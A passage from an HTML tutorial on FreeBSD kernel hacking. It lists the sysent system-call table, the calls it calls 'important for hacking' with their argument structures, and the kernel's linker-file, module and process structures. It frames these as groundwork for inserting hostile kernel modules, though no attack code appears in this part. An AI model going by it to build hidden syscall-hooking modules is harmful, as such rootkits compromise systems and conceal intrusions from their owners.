843         { 5, (sy_call_t *)setsockopt },                 /* 105 = setsockopt */
844         { 2, (sy_call_t *)listen },                     /* 106 = listen */
845         { 0, (sy_call_t *)nosys },                      /* 107 = obsolete vtimes */
846         { compat(3,sigvec) },           /* 108 = old sigvec */
847         { compat(1,sigblock) },         /* 109 = old sigblock */
848         { compat(1,sigsetmask) },               /* 110 = old sigsetmask */
849         { 1, (sy_call_t *)sigsuspend },                 /* 111 = sigsuspend */
850         { compat(2,sigstack) },         /* 112 = old sigstack */
851         { compat(3,recvmsg) },          /* 113 = old recvmsg */
852         { compat(3,sendmsg) },          /* 114 = old sendmsg */
853         { 0, (sy_call_t *)nosys },                      /* 115 = obsolete vtrace */
854         { 2, (sy_call_t *)gettimeofday },               /* 116 = gettimeofday */
855         { 2, (sy_call_t *)getrusage },                  /* 117 = getrusage */
856         { 5, (sy_call_t *)getsockopt },                 /* 118 = getsockopt */
857         { 0, (sy_call_t *)nosys },                      /* 119 = resuba */
858         { 3, (sy_call_t *)readv },                      /* 120 = readv */
859         { 3, (sy_call_t *)writev },                     /* 121 = writev */
860         { 2, (sy_call_t *)settimeofday },               /* 122 = settimeofday */
861         { 3, (sy_call_t *)fchown },                     /* 123 = fchown */
862         { 2, (sy_call_t *)fchmod },                     /* 124 = fchmod */
863         { compat(6,recvfrom) },         /* 125 = old recvfrom */
864         { 2, (sy_call_t *)setreuid },                   /* 126 = setreuid */
865         { 2, (sy_call_t *)setregid },                   /* 127 = setregid */
866         { 2, (sy_call_t *)rename },                     /* 128 = rename */
867         { compat(2,truncate) },         /* 129 = old truncate */
868         { compat(2,ftruncate) },                /* 130 = old ftruncate */
869         { 2, (sy_call_t *)flock },                      /* 131 = flock */
870         { 2, (sy_call_t *)mkfifo },                     /* 132 = mkfifo */
871         { 6, (sy_call_t *)sendto },                     /* 133 = sendto */
872         { 2, (sy_call_t *)shutdown },                   /* 134 = shutdown */
873         { 4, (sy_call_t *)socketpair },                 /* 135 = socketpair */
874         { 2, (sy_call_t *)mkdir },                      /* 136 = mkdir */
875         { 1, (sy_call_t *)rmdir },                      /* 137 = rmdir */
876         { 2, (sy_call_t *)utimes },                     /* 138 = utimes */
877         { 0, (sy_call_t *)nosys },                      /* 139 = obsolete 4.2 sigreturn */
878         { 2, (sy_call_t *)adjtime },                    /* 140 = adjtime */
879         { compat(3,getpeername) },              /* 141 = old getpeername */
880         { compat(0,gethostid) },                /* 142 = old gethostid */
881         { compat(1,sethostid) },                /* 143 = old sethostid */
882         { compat(2,getrlimit) },                /* 144 = old getrlimit */
883         { compat(2,setrlimit) },                /* 145 = old setrlimit */
884         { compat(2,killpg) },           /* 146 = old killpg */
885         { 0, (sy_call_t *)setsid },                     /* 147 = setsid */
886         { 4, (sy_call_t *)quotactl },                   /* 148 = quotactl */
887         { compat(0,quota) },            /* 149 = old quota */
888         { compat(3,getsockname) },              /* 150 = old getsockname */
889         { 0, (sy_call_t *)nosys },                      /* 151 = sem_lock */
890         { 0, (sy_call_t *)nosys },                      /* 152 = sem_wakeup */
891         { 0, (sy_call_t *)nosys },                      /* 153 = asyncdaemon */
892         { 0, (sy_call_t *)nosys },                      /* 154 = nosys */
893         { 2, (sy_call_t *)nosys },                      /* 155 = nfssvc */
894         { compat(4,getdirentries) },            /* 156 = old getdirentries */
895         { 2, (sy_call_t *)statfs },                     /* 157 = statfs */
896         { 2, (sy_call_t *)fstatfs },                    /* 158 = fstatfs */
897         { 0, (sy_call_t *)nosys },                      /* 159 = nosys */
898         { 0, (sy_call_t *)nosys },                      /* 160 = nosys */
899         { 2, (sy_call_t *)nosys },                      /* 161 = getfh */
900         { 2, (sy_call_t *)getdomainname },              /* 162 = getdomainname */
901         { 2, (sy_call_t *)setdomainname },              /* 163 = setdomainname */
902         { 1, (sy_call_t *)uname },                      /* 164 = uname */
903         { 2, (sy_call_t *)sysarch },                    /* 165 = sysarch */
904         { 3, (sy_call_t *)rtprio },                     /* 166 = rtprio */
905         { 0, (sy_call_t *)nosys },                      /* 167 = nosys */
906         { 0, (sy_call_t *)nosys },                      /* 168 = nosys */
907         { 5, (sy_call_t *)semsys },                     /* 169 = semsys */
908         { 6, (sy_call_t *)msgsys },                     /* 170 = msgsys */
909         { 4, (sy_call_t *)shmsys },                     /* 171 = shmsys */
910         { 0, (sy_call_t *)nosys },                      /* 172 = nosys */
911         { 0, (sy_call_t *)nosys },                      /* 173 = nosys */
912         { 0, (sy_call_t *)nosys },                      /* 174 = nosys */
913         { 0, (sy_call_t *)nosys },                      /* 175 = nosys */
914         { 1, (sy_call_t *)ntp_adjtime },                /* 176 = ntp_adjtime */
915         { 0, (sy_call_t *)nosys },                      /* 177 = sfork */
916         { 0, (sy_call_t *)nosys },                      /* 178 = getdescriptor */
917         { 0, (sy_call_t *)nosys },                      /* 179 = setdescriptor */
918         { 0, (sy_call_t *)nosys },                      /* 180 = nosys */
919         { 1, (sy_call_t *)setgid },                     /* 181 = setgid */
920         { 1, (sy_call_t *)setegid },                    /* 182 = setegid */
921         { 1, (sy_call_t *)seteuid },                    /* 183 = seteuid */
922         { 0, (sy_call_t *)nosys },                      /* 184 = lfs_bmapv */
923         { 0, (sy_call_t *)nosys },                      /* 185 = lfs_markv */
924         { 0, (sy_call_t *)nosys },                      /* 186 = lfs_segclean */
925         { 0, (sy_call_t *)nosys },                      /* 187 = lfs_segwait */
926         { 2, (sy_call_t *)stat },                       /* 188 = stat */
927         { 2, (sy_call_t *)fstat },                      /* 189 = fstat */
928         { 2, (sy_call_t *)lstat },                      /* 190 = lstat */
929         { 2, (sy_call_t *)pathconf },                   /* 191 = pathconf */
930         { 2, (sy_call_t *)fpathconf },                  /* 192 = fpathconf */
931         { 0, (sy_call_t *)nosys },                      /* 193 = nosys */
932         { 2, (sy_call_t *)getrlimit },                  /* 194 = getrlimit */
933         { 2, (sy_call_t *)setrlimit },                  /* 195 = setrlimit */
934         { 4, (sy_call_t *)getdirentries },              /* 196 = getdirentries */
935         { 8, (sy_call_t *)mmap },                       /* 197 = mmap */
936         { 0, (sy_call_t *)nosys },                      /* 198 = __syscall */
937         { 5, (sy_call_t *)lseek },                      /* 199 = lseek */
938         { 4, (sy_call_t *)truncate },                   /* 200 = truncate */
939         { 4, (sy_call_t *)ftruncate },                  /* 201 = ftruncate */
940         { 6, (sy_call_t *)__sysctl },                   /* 202 = __sysctl */
941         { 2, (sy_call_t *)mlock },                      /* 203 = mlock */
942         { 2, (sy_call_t *)munlock },                    /* 204 = munlock */
943         { 1, (sy_call_t *)undelete },                   /* 205 = undelete */
944         { 2, (sy_call_t *)futimes },                    /* 206 = futimes */
945         { 1, (sy_call_t *)getpgid },                    /* 207 = getpgid */
946         { 0, (sy_call_t *)nosys },                      /* 208 = newreboot */
947         { 3, (sy_call_t *)poll },                       /* 209 = poll */
948         { 0, (sy_call_t *)lkmnosys },                   /* 210 = lkmnosys */
949         { 0, (sy_call_t *)lkmnosys },                   /* 211 = lkmnosys */
950         { 0, (sy_call_t *)lkmnosys },                   /* 212 = lkmnosys */
951         { 0, (sy_call_t *)lkmnosys },                   /* 213 = lkmnosys */
952         { 0, (sy_call_t *)lkmnosys },                   /* 214 = lkmnosys */
953         { 0, (sy_call_t *)lkmnosys },                   /* 215 = lkmnosys */
954         { 0, (sy_call_t *)lkmnosys },                   /* 216 = lkmnosys */
955         { 0, (sy_call_t *)lkmnosys },                   /* 217 = lkmnosys */
956         { 0, (sy_call_t *)lkmnosys },                   /* 218 = lkmnosys */
957         { 0, (sy_call_t *)lkmnosys },                   /* 219 = lkmnosys */
958         { 4, (sy_call_t *)__semctl },                   /* 220 = __semctl */
959         { 3, (sy_call_t *)semget },                     /* 221 = semget */
960         { 3, (sy_call_t *)semop },                      /* 222 = semop */
961         { 1, (sy_call_t *)semconfig },                  /* 223 = semconfig */
962         { 3, (sy_call_t *)msgctl },                     /* 224 = msgctl */
963         { 2, (sy_call_t *)msgget },                     /* 225 = msgget */
964         { 4, (sy_call_t *)msgsnd },                     /* 226 = msgsnd */
965         { 5, (sy_call_t *)msgrcv },                     /* 227 = msgrcv */
966         { 3, (sy_call_t *)shmat },                      /* 228 = shmat */
967         { 3, (sy_call_t *)shmctl },                     /* 229 = shmctl */
968         { 1, (sy_call_t *)shmdt },                      /* 230 = shmdt */
969         { 3, (sy_call_t *)shmget },                     /* 231 = shmget */
970         { 2, (sy_call_t *)clock_gettime },              /* 232 = clock_gettime */
971         { 2, (sy_call_t *)clock_settime },              /* 233 = clock_settime */
972         { 2, (sy_call_t *)clock_getres },               /* 234 = clock_getres */
973         { 0, (sy_call_t *)nosys },                      /* 235 = timer_create */
974         { 0, (sy_call_t *)nosys },                      /* 236 = timer_delete */
975         { 0, (sy_call_t *)nosys },                      /* 237 = timer_settime */
976         { 0, (sy_call_t *)nosys },                      /* 238 = timer_gettime */
977         { 0, (sy_call_t *)nosys },                      /* 239 = timer_getoverrun */
978         { 2, (sy_call_t *)nanosleep },                  /* 240 = nanosleep */
979         { 0, (sy_call_t *)nosys },                      /* 241 = nosys */
980         { 0, (sy_call_t *)nosys },                      /* 242 = nosys */
981         { 0, (sy_call_t *)nosys },                      /* 243 = nosys */
982         { 0, (sy_call_t *)nosys },                      /* 244 = nosys */
983         { 0, (sy_call_t *)nosys },                      /* 245 = nosys */
984         { 0, (sy_call_t *)nosys },                      /* 246 = nosys */
985         { 0, (sy_call_t *)nosys },                      /* 247 = nosys */
986         { 0, (sy_call_t *)nosys },                      /* 248 = nosys */
987         { 0, (sy_call_t *)nosys },                      /* 249 = nosys */
988         { 3, (sy_call_t *)minherit },                   /* 250 = minherit */
989         { 1, (sy_call_t *)rfork },                      /* 251 = rfork */
990         { 3, (sy_call_t *)openbsd_poll },               /* 252 = openbsd_poll */
991         { 0, (sy_call_t *)issetugid },                  /* 253 = issetugid */
992         { 3, (sy_call_t *)lchown },                     /* 254 = lchown */
993         { 0, (sy_call_t *)nosys },                      /* 255 = nosys */
994         { 0, (sy_call_t *)nosys },                      /* 256 = nosys */
995         { 0, (sy_call_t *)nosys },                      /* 257 = nosys */
996         { 0, (sy_call_t *)nosys },                      /* 258 = nosys */
997         { 0, (sy_call_t *)nosys },                      /* 259 = nosys */
998         { 0, (sy_call_t *)nosys },                      /* 260 = nosys */
999         { 0, (sy_call_t *)nosys },                      /* 261 = nosys */
1000         { 0, (sy_call_t *)nosys },                      /* 262 = nosys */
1001         { 0, (sy_call_t *)nosys },                      /* 263 = nosys */
1002         { 0, (sy_call_t *)nosys },                      /* 264 = nosys */
1003         { 0, (sy_call_t *)nosys },                      /* 265 = nosys */
1004         { 0, (sy_call_t *)nosys },                      /* 266 = nosys */
1005         { 0, (sy_call_t *)nosys },                      /* 267 = nosys */
1006         { 0, (sy_call_t *)nosys },                      /* 268 = nosys */
1007         { 0, (sy_call_t *)nosys },                      /* 269 = nosys */
1008         { 0, (sy_call_t *)nosys },                      /* 270 = nosys */
1009         { 0, (sy_call_t *)nosys },                      /* 271 = nosys */
1010         { 3, (sy_call_t *)getdents },                   /* 272 = getdents */
1011         { 0, (sy_call_t *)nosys },                      /* 273 = nosys */
1012         { 2, (sy_call_t *)lchmod },                     /* 274 = lchmod */
1013         { 3, (sy_call_t *)lchown },                     /* 275 = netbsd_lchown */
1014         { 2, (sy_call_t *)lutimes },                    /* 276 = lutimes */
1015         { 3, (sy_call_t *)msync },                      /* 277 = netbsd_msync */
1016         { 2, (sy_call_t *)nstat },                      /* 278 = nstat */
1017         { 2, (sy_call_t *)nfstat },                     /* 279 = nfstat */
1018         { 2, (sy_call_t *)nlstat },                     /* 280 = nlstat */
1019         { 0, (sy_call_t *)nosys },                      /* 281 = nosys */
1020         { 0, (sy_call_t *)nosys },                      /* 282 = nosys */
1021         { 0, (sy_call_t *)nosys },                      /* 283 = nosys */
1022         { 0, (sy_call_t *)nosys },                      /* 284 = nosys */
1023         { 0, (sy_call_t *)nosys },                      /* 285 = nosys */
1024         { 0, (sy_call_t *)nosys },                      /* 286 = nosys */
1025         { 0, (sy_call_t *)nosys },                      /* 287 = nosys */
1026         { 0, (sy_call_t *)nosys },                      /* 288 = nosys */
1027         { 0, (sy_call_t *)nosys },                      /* 289 = nosys */
1028         { 0, (sy_call_t *)nosys },                      /* 290 = nosys */
1029         { 0, (sy_call_t *)nosys },                      /* 291 = nosys */
1030         { 0, (sy_call_t *)nosys },                      /* 292 = nosys */
1031         { 0, (sy_call_t *)nosys },                      /* 293 = nosys */
1032         { 0, (sy_call_t *)nosys },                      /* 294 = nosys */
1033         { 0, (sy_call_t *)nosys },                      /* 295 = nosys */
1034         { 0, (sy_call_t *)nosys },                      /* 296 = nosys */
1035         { 0, (sy_call_t *)nosys },                      /* 297 = nosys */
1036         { 0, (sy_call_t *)nosys },                      /* 298 = nosys */
1037         { 0, (sy_call_t *)nosys },                      /* 299 = nosys */
1038         { 1, (sy_call_t *)modnext },                    /* 300 = modnext */
1039         { 2, (sy_call_t *)modstat },                    /* 301 = modstat */
1040         { 1, (sy_call_t *)modfnext },                   /* 302 = modfnext */
1041         { 1, (sy_call_t *)modfind },                    /* 303 = modfind */
1042         { 1, (sy_call_t *)kldload },                    /* 304 = kldload */
1043         { 1, (sy_call_t *)kldunload },                  /* 305 = kldunload */
1044         { 1, (sy_call_t *)kldfind },                    /* 306 = kldfind */
1045         { 1, (sy_call_t *)kldnext },                    /* 307 = kldnext */
1046         { 2, (sy_call_t *)kldstat },                    /* 308 = kldstat */
1047         { 1, (sy_call_t *)kldfirstmod },                /* 309 = kldfirstmod */
1048         { 1, (sy_call_t *)getsid },                     /* 310 = getsid */
1049         { 0, (sy_call_t *)nosys },                      /* 311 = setresuid */
1050         { 0, (sy_call_t *)nosys },                      /* 312 = setresgid */
1051         { 0, (sy_call_t *)nosys },                      /* 313 = obsolete signanosleep */
1052         { 1, (sy_call_t *)aio_return },                 /* 314 = aio_return */
1053         { 3, (sy_call_t *)aio_suspend },                /* 315 = aio_suspend */
1054         { 2, (sy_call_t *)aio_cancel },                 /* 316 = aio_cancel */
1055         { 1, (sy_call_t *)aio_error },                  /* 317 = aio_error */
1056         { 1, (sy_call_t *)aio_read },                   /* 318 = aio_read */
1057         { 1, (sy_call_t *)aio_write },                  /* 319 = aio_write */
1058         { 4, (sy_call_t *)lio_listio },                 /* 320 = lio_listio */
1059         { 0, (sy_call_t *)yield },                      /* 321 = yield */
1060         { 1, (sy_call_t *)thr_sleep },                  /* 322 = thr_sleep */
1061         { 1, (sy_call_t *)thr_wakeup },                 /* 323 = thr_wakeup */
1062         { 1, (sy_call_t *)mlockall },                   /* 324 = mlockall */
1063         { 0, (sy_call_t *)munlockall },                 /* 325 = munlockall */
1064         { 2, (sy_call_t *)__getcwd },                   /* 326 = __getcwd */
1065         { 2, (sy_call_t *)sched_setparam },             /* 327 = sched_setparam */
1066         { 2, (sy_call_t *)sched_getparam },             /* 328 = sched_getparam */
1067         { 3, (sy_call_t *)sched_setscheduler },         /* 329 = sched_setscheduler */
1068         { 1, (sy_call_t *)sched_getscheduler },         /* 330 = sched_getscheduler */
1069         { 0, (sy_call_t *)sched_yield },                /* 331 = sched_yield */
1070         { 1, (sy_call_t *)sched_get_priority_max },             /* 332 = sched_get_priority_max */
1071         { 1, (sy_call_t *)sched_get_priority_min },             /* 333 = sched_get_priority_min */
1072         { 2, (sy_call_t *)sched_rr_get_interval },              /* 334 = sched_rr_get_interval */
1073         { 2, (sy_call_t *)utrace },                     /* 335 = utrace */
1074         { 8, (sy_call_t *)sendfile },                   /* 336 = sendfile */
1075         { 3, (sy_call_t *)kldsym },                     /* 337 = kldsym */
1076 };
1077 </xmp>
1078 As you can see sysent[] contains one sysent structure for every system call
1079 installed on the system. Recall that the first element in the sysent structure
1080 is the argument count and the second the function pointer. This means for the
1081 kldsysm system call :
1082 <xmp>
1083 argument cound        : 3
1084 system call function  : kldsysm
1085 </xmp>
1086 And this means that we can get the sysent entry of every system call we want by
1087 reading sysent[system call number]. The easiest way to get the index is to use
1088 the syscalls.h file.
1089
1090 <p>
1091 <H3><A NAME="I.6.1."></A>6.1 Important system calls for hacking</h3>
1092 <p>
1093 Now I want to extract the most important system calls you have to understand in
1094 order to do a bit of kernel hacking. I give you the system call number, the
1095 function and their arguments structure. Maybe you need to hack other
1096 system calls, its just a matter of creativity.
1097
1098
1099
1100 <TABLE border=5 width=100%>
1101 <tr>
1102
1103 <th>system call</th>
1104 <th>number</th>
1105 <th>argument struct</th>
1106
1107
1108 <tr>
1109 <td>read(p, uap)</td>
1110 <td>3</td>
1111 <td>struct read_args {<br>
1112 int fd;<br>
1113 void *buf;<br>
1114 size_t nbyte; }<br></td>
1115 </tr>
1116
1117
1118 <tr>
1119 <td>write(p, uap)</td>
1120 <td>4</td>
1121 <td>struct write_args {<br>
1122 int fd;<br>
1123 const void *buf;<br>
1124 size_t nbyte; }<br></td>
1125 </tr>
1126
1127 <tr>
1128 <td>open(p, uap)</td>
1129 <td>5</td>
1130 <td>struct open_args {<br>
1131 char *path;<br>
1132 int flags;<br>
1133 int mode; }<br></td>
1134 </tr>
1135
1136 <tr>
1137 <td>link(p, uap)</td>
1138 <td>9</td>
1139 <td>struct link_args {<br>
1140 char *path;<br>
1141 char *link; }<br></td>
1142 </tr>
1143
1144 <tr>
1145 <td>recvfrom(p, uap)</td>
1146 <td>29</td>
1147 <td>struct recvfrom_args {<br>
1148 int s;<br>
1149 caddr_t buf;<br>
1150 size_t len;<br>
1151 int flags;<br>
1152 caddr_t from;<br>
1153 int *fromlenaddr; }<br>
1154 </td>
1155 </tr>
1156
1157 <tr>
1158 <td>accept(p, uap)</td>
1159 <td>30</td>
1160 <td>struct accept_args {<br>
1161 int s;<br>
1162 caddr_t name;<br>
1163 int *anamelen; }<br>
1164 </td>
1165 </tr>
1166
1167
1168 <tr>
1169 <td>kill(p, uap)</td>
1170 <td>37</td>
1171 <td>struct kill_args {<br>
1172 int pid;<br>
1173 int signum; }<br>
1174 </td>
1175 </tr>
1176
1177 <tr>
1178 <td>ktrace(p, uap)</td>
1179 <td>45</td>
1180 <td>struct ktrace_args {<br>
1181 char *fname;<br>
1182 int ops;<br>
1183 int facs;<br>
1184 int pid; }<br>
1185 </td>
1186 </tr>
1187
1188 <tr>
1189 <td>ioctl(p, uap)</td>
1190 <td>54</td>
1191 <td>struct ioctl_args {<br>
1192 int fd_;<br>
1193 u_long com;<br>
1194 caddr_t data; }<br>
1195 </td>
1196 </tr>
1197
1198
1199
1200 <tr>
1201 <td>reboot(p, uap)</td>
1202 <td>55</td>
1203 <td>struct reboot_args {<br>
1204 int opt; }<br>
1205 </td>
1206 </tr>
1207
1208
1209 <tr>
1210 <td>execve(p, uap)</td>
1211 <td>59</td>
1212 <td>struct execve_args {<br>
1213 char *fname;<br>
1214 char **argv;<br>
1215 char **envv; }<br>
1216 </td>
1217 </tr>
1218
1219
1220
1221 <tr>
1222 <td>sbrk(p, uap)</td>
1223 <td>69</td>
1224 <td>struct sbrk_args {<br>
1225 int incr; }<br>
1226 </td>
1227 </tr>
1228
1229
1230
1231
1232 <tr>
1233 <td>socket(p, uap)</td>
1234 <td>97</td>
1235 <td>struct socket_args {<br>
1236 int domain;<br>
1237 int type;<br>
1238 int protocol; }<br>
1239 </td>
1240 </tr>
1241
1242
1243 <tr>
1244 <td>connect(p, uap)</td>
1245 <td>98</td>
1246 <td>struct connect_args {<br>
1247 int s;<br>
1248 caddr_t name;<br>
1249 int namelen; }<br>
1250 </td>
1251 </tr>
1252
1253
1254
1255 <tr>
1256 <td>bind(p, uap)</td>
1257 <td>104</td>
1258 <td>struct bind_args {<br>
1259 int s;<br>
1260 caddr_t name;<br>
1261 int namelen; }<br>
1262 </td>
1263 </tr>
1264
1265
1266 <tr>
1267 <td>listen(p, uap)</td>
1268 <td>106</td>
1269 <td>struct listen_args {<br>
1270 int s;<br>
1271 int backlog; }<br>
1272 </td>
1273 </tr>
1274
1275 <tr>
1276 <td>readv(p, uap)</td>
1277 <td>120</td>
1278 <td>struct readv_args {<br>
1279 int fd;<br>
1280 struct iovec *iovp;<br>
1281 u_int iovcnt; }<br>
1282 </td>
1283 </tr>
1284
1285
1286 <tr>
1287 <td>writev(p, uap)</td>
1288 <td>121</td>
1289 <td>struct writev_args {<br>
1290 int fd;<br>
1291 struct iovec *iovp;<br>
1292 u_int iovcnt; }<br>
1293 </td>
1294 </tr>
1295
1296 <tr>
1297 <td>rename(p, uap)</td>
1298 <td>128</td>
1299 <td>struct rename_args {<br>
1300 char *from;<br>
1301 char *to; }<br>
1302 </td>
1303 </tr>
1304
1305 <tr>
1306 <td>sendto(p, uap)</td>
1307 <td>133</td>
1308 <td>struct sendto_args {<br>
1309 int s;<br>
1310 caddr_t buf;<br>
1311 size_t len;<br>
1312 int flags;<br>
1313 caddr_t to;<br>
1314 int tolen; }<br>
1315 </td>
1316 </tr>
1317
1318
1319 <tr>
1320 <td>mkdir(p, uap)</td>
1321 <td>136</td>
1322 <td>struct mkdir_args {<br>
1323 char *path;<br>
1324 int mode; }<br>
1325 </td>
1326 </tr>
1327
1328 <tr>
1329 <td>rmdir(p, uap)</td>
1330 <td>137</td>
1331 <td>struct rmdir_args {<br>
1332 char *path; }<br>
1333 </td>
1334 </tr>
1335
1336
1337 <tr>
1338 <td>getdirentries(p, uap)</td>
1339 <td>196</td>
1340 <td>struct getdirentries_args {<br>
1341 int fd;<br>
1342 char *buf;<br>
1343 u_int count;<br>
1344 long *basep; }<br>
1345 </td>
1346 </tr>
1347
1348 <tr>
1349 <td>modnext(p, uap)</td>
1350 <td>300</td>
1351 <td>struct modnext_args {<br>
1352 int modid; }<br>
1353 </td>
1354 </tr>
1355
1356
1357 <tr>
1358 <td>modstat(p, uap)</td>
1359 <td>301</td>
1360 <td>struct modstat_args {<br>
1361 int modid; <br>
1362 struct module_stat *stat; }<br>
1363 </td>
1364 </tr>
1365
1366
1367
1368 <tr>
1369 <td>modfnext(p, uap)</td>
1370 <td>302</td>
1371 <td>struct modfnext_args {<br>
1372 int modid; }<br>
1373 </td>
1374 </tr>
1375
1376 <tr>
1377 <td>modfind(p, uap)</td>
1378 <td>303</td>
1379 <td>struct modfind_args {<br>
1380 char *name; }<br>
1381 </td>
1382 </tr>
1383
1384
1385 <tr>
1386 <td>kldload(p, uap)</td>
1387 <td>304</td>
1388 <td>struct kldload_args {<br>
1389 const char *file; }<br>
1390 </td>
1391 </tr>
1392
1393
1394 <tr>
1395 <td>kldunload(p, uap)</td>
1396 <td>305</td>
1397 <td>struct kldunload_args {<br>
1398 int fileid; }<br>
1399 </td>
1400 </tr>
1401
1402 <tr>
1403 <td>kldfind(p, uap)</td>
1404 <td>306</td>
1405 <td>struct kldfind_args {<br>
1406 const char *file; }<br>
1407 </td>
1408 </tr>
1409
1410
1411 <tr>
1412 <td>kldnext(p, uap)</td>
1413 <td>307</td>
1414 <td>struct kldnext_args {<br>
1415 int fileid; }<br>
1416 </td>
1417 </tr>
1418
1419
1420
1421 <tr>
1422 <td>kldstat(p, uap)</td>
1423 <td>308</td>
1424 <td>struct kldstat_args {<br>
1425 int fileid;<br>
1426 struct kld_file_stat *stat; }<br>
1427 </td>
1428 </tr>
1429
1430
1431
1432 <tr>
1433 <td>kldsym(p, uap)</td>
1434 <td>337</td>
1435 <td>struct kldsym_args {<br>
1436 int fileid;<br>
1437 int cmd;<br>
1438 void *data; }<br>
1439 </td>
1440 </tr>
1441
1442 </tr>
1443 </table>
1444
1445
1446
1447 As you can see every system call gets the proc structure (standing for the
1448 process calling the system call) and a special argument structure.
1449
1450 <p>
1451 <H3><A NAME="I.7."></A>7. Important Kernel structures / lists</h3>
1452 <p>
1453
1454 Beside system calls kernel structures and lists are one of the most important
1455 things we have to deal with. This section will explain the most basic kernel
1456 structures and lists we need to understand. It is impossible to give you a
1457 complete list of all interesting kernel lists, of course.<br>
1458 This text is dealing with inserting hostile modules into the kernel. Those
1459 modules are wrapped by link files. The kernel inserts any link file loaded in
1460 a global list of linker_file structures. So let's take a look at this
1461 structure :
1462 <xmp>
1463 struct linker_file {
1464     int                 refs;           /* reference count */
1465     int                 userrefs;       /* kldload(2) count */
1466     TAILQ_ENTRY(linker_file) link;      /* list of all loaded files */
1467     char*               filename;       /* file which was loaded */
1468     int                 id;             /* unique id */
1469     caddr_t             address;        /* load address */
1470     size_t              size;           /* size of file */
1471     int                 ndeps;          /* number of dependancies */
1472     linker_file_t*      deps;           /* list of dependancies */
1473     STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
1474     TAILQ_HEAD(, module) modules;       /* modules in this file */
1475     void*               priv;           /* implementation data */
1476     struct linker_file_ops* ops;
1477 };  
1478 </xmp>
1479 Take a look at it. The general layout should be clear : link is used for the
1480 list management, filename is the name of the link file, modules stands for
1481 the modules in that file. This is the structure, but where is the global list
1482 holding all these entries? Take a look at the following line that can be
1483 found in kern_linker.c :
1484 <xmp>
1485 static linker_file_list_t files;
1486 </xmp>
1487 Unexpirienced kernel coders will ask what linker_file_list_t stands for (we
1488 thought of something like linker_file). Ok so let's look what
1489 linker_file_list_t stands for :
1490 <xmp>
1491 typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
1492 </xmp>
1493 TAILQ_HEAD is one of lots of macros defined in queue.h. This include file
1494 provides lots o very helpful macros helping the kernel to manage a lot of
1495 internal lists. Let's say that the line above does something like
1496 initialization of the linker_file list, which can now be accessed via
1497 linker_file_list_t ('TheSeeker' will show how to use those macros). 
1498 Ok now we know where the linker_file list is located this should be enough for 
1499 the moment.<br>
1500 Now what about modules. As I said before modules are described by a module
1501 structure (see above). Those structures are also organized in a global list.
1502 So where and how is this list defined, take a look at this line from
1503 kern_module.c :
1504 <xmp>
1505 typedef TAILQ_HEAD(, module) modulelist_t;
1506 </xmp>
1507 Again we see TAILQ_HEAD providing us with a list and again we now know that
1508 modulelist_t is the global list for every module loaded.<br>
1509 One of the most important none-module related list in the kernel is the
1510 allproc (zombproc) list. The allproc list holds every process on the system
1511 except the zombie processes those are hold by zombproc. First let's take a
1512 look at the general structure of a process entry. The proc structure holds
1513 every piece of information needed :
1514 <xmp>
1515 struct  proc {
1516         TAILQ_ENTRY(proc) p_procq;      /* run/sleep queue. */
1517         LIST_ENTRY(proc) p_list;        /* List of all processes. */
1518
1519         /* substructures: */
1520         struct  pcred *p_cred;          /* Process owner's identity. */
1521         struct  filedesc *p_fd;         /* Ptr to open files structure. */
1522         struct  pstats *p_stats;        /* Accounting/statistics (PROC ONLY). */
1523         struct  plimit *p_limit;        /* Process limits. */
1524         struct  vm_object *p_upages_obj;/* Upages object */
1525         struct  procsig *p_procsig;
1526 #define p_sigacts       p_procsig->ps_sigacts
1527 #define p_sigignore     p_procsig->ps_sigignore
1528 #define p_sigcatch      p_procsig->ps_sigcatch
1529
1530 #define p_ucred         p_cred->pc_ucred
1531 #define p_rlimit        p_limit->pl_rlimit
1532
1533         int     p_flag;                 /* P_* flags. */
1534         char    p_stat;                 /* S* process status. */
1535         char    p_pad1[3];
1536
1537         pid_t   p_pid;                  /* Process identifier. */
1538         LIST_ENTRY(proc) p_hash;        /* Hash chain. */
1539         LIST_ENTRY(proc) p_pglist;      /* List of processes in pgrp. */
1540         struct  proc *p_pptr;           /* Pointer to parent process. */
1541         LIST_ENTRY(proc) p_sibling;     /* List of sibling processes. */
1542         LIST_HEAD(, proc) p_children;   /* Pointer to list of children. */
1543
1544         struct callout_handle p_ithandle; /*
1545                                               * Callout handle for scheduling
1546                                               * p_realtimer.
1547                                               */
1548 /* The following fields are all zeroed upon creation in fork. */
1549 #define p_startzero     p_oppid
1550
1551         pid_t   p_oppid;         /* Save parent pid during ptrace. XXX */
1552         int     p_dupfd;         /* Sideways return value from fdopen. XXX */
1553
1554         struct  vmspace *p_vmspace;     /* Address space. */
1555
1556         /* scheduling */
1557         u_int   p_estcpu;        /* Time averaged value of p_cpticks. */
1558         int     p_cpticks;       /* Ticks of cpu time. */
1559         fixpt_t p_pctcpu;        /* %cpu for this process during p_swtime */
1560         void    *p_wchan;        /* Sleep address. */
1561         const char *p_wmesg;     /* Reason for sleep. */
1562         u_int   p_swtime;        /* Time swapped in or out. */
1563         u_int   p_slptime;       /* Time since last blocked. */
1564
1565         struct  itimerval p_realtimer;  /* Alarm timer. */
1566         u_int64_t       p_runtime;      /* Real time in microsec. */
1567         struct  timeval p_switchtime;   /* When last scheduled */
1568         u_quad_t p_uticks;              /* Statclock hits in user mode. */
1569         u_quad_t p_sticks;              /* Statclock hits in system mode. */
1570         u_quad_t p_iticks;              /* Statclock hits processing intr. */
1571
1572         int     p_traceflag;            /* Kernel trace points. */
1573         struct  vnode *p_tracep;        /* Trace to vnode. */
1574
1575         int     p_siglist;              /* Signals arrived but not delivered. */
1576
1577         struct  vnode *p_textvp;        /* Vnode of executable. */
1578
1579         char    p_lock;                 /* Process lock (prevent swap) count. */
1580         char    p_oncpu;                /* Which cpu we are on */
1581         char    p_lastcpu;              /* Last cpu we were on */
1582         char    p_pad2;                 /* alignment */
1583
1584         short   p_locks;                /* DEBUG: lockmgr count of held locks */
1585         short   p_simple_locks;         /* DEBUG: count of held simple locks */
1586         unsigned int    p_stops;        /* procfs event bitmask */
1587         unsigned int    p_stype;        /* procfs stop event type */
1588         char    p_step;                 /* procfs stop *once* flag */
1589         unsigned char   p_pfsflags;     /* procfs flags */
1590         char    p_pad3[2];              /* padding for alignment */
1591         register_t p_retval[2];         /* syscall aux returns */
1592         struct  sigiolst p_sigiolst;    /* list of sigio sources */
1593         int     p_sigparent;            /* signal to parent on exit */
1594         sigset_t p_oldsigmask;          /* saved mask from before sigpause */
1595         int     p_sig;                  /* for core dump/debugger XXX */
1596         u_long  p_code;                 /* for core dump/debugger XXX */
1597
